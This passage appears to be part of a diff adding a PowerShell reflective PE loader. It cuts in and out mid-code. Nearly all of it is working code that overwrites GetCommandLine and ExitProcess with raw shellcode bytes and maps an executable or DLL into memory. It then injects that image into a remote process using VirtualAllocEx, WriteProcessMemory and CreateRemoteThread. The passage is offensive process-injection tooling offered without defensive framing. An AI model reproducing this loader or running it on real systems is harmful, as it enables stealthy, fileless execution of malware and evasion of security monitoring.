$PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = 